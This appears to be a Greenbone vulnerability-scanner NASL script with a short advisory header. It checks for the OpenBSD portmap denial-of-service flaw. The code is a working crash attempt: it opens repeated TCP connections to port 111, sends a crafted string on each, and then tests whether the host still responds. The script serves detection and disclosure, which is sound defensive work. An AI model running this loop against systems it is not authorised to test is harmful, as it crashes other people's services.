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OpenBSD < 5.2 Portmap Remote DoS Vulnerability

🗓️ 26 Dec 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType 
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OpenBSD < 5.2 Portmap Remote DoS Vulnerability. Allows attackers to cause denial of service condition by crashing the portmap daemon via specially crafted packets sent to TCP port 111. Apply the patch provided by the vendor

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# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803091");
  script_version("2023-09-08T05:06:21+0000");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_tag(name:"last_modification", value:"2023-09-08 05:06:21 +0000 (Fri, 08 Sep 2023)");
  script_tag(name:"creation_date", value:"2012-12-26 10:49:16 +0530 (Wed, 26 Dec 2012)");
  script_name("OpenBSD < 5.2 Portmap Remote DoS Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("gb_rpc_portmap_tcp_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("rpc/portmap/tcp/detected", "Host/runs_unixoide");

  script_xref(name:"URL", value:"http://secunia.com/advisories/51299/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/56671");
  script_xref(name:"URL", value:"http://www.securitytracker.com/id/1027814");
  script_xref(name:"URL", value:"http://www.securelist.com/en/advisories/51299");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2012/Nov/168");
  script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/fulldisclosure/2012-11/0169.html");

  script_tag(name:"summary", value:"Portmap running on OpenBSD is prone to a denial of service (DoS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted TCP request and checks if the host is still
  alive.");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to cause denial of
  service condition.");

  script_tag(name:"affected", value:"Portmap running on OpenBSD versions prior to 5.2. Other
  operating systems might be affected as well.");

  script_tag(name:"insight", value:"The flaw is due to an error when handling multiple RPC requests
  and can be exploited to crash the portmap daemon via specially crafted packets
  sent to TCP port 111.");

  script_tag(name:"solution", value:"Apply the patch provided by the vendor.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

nfsPort = get_kb_item("rpc/portmap/port");
if(!nfsPort){
  nfsPort = 111;
}

if(!get_port_state(nfsPort)){
  exit(0);
}

soc = open_sock_tcp(nfsPort);
if(!soc){
  exit(0);
}

close(soc);

testmsg = "8========@";

for (i = 0; i < 270; i++)
{
  soc = open_sock_tcp(nfsPort);
  if(!soc){
    break;
  }
  send(socket:soc, data: testmsg);
}

if(soc){
  close(soc);
}

sleep(1);

soc2 = open_sock_tcp(nfsPort);

if(!soc2){
  security_message(port:nfsPort);
  exit(0);
}

close(soc2);

exit(99);

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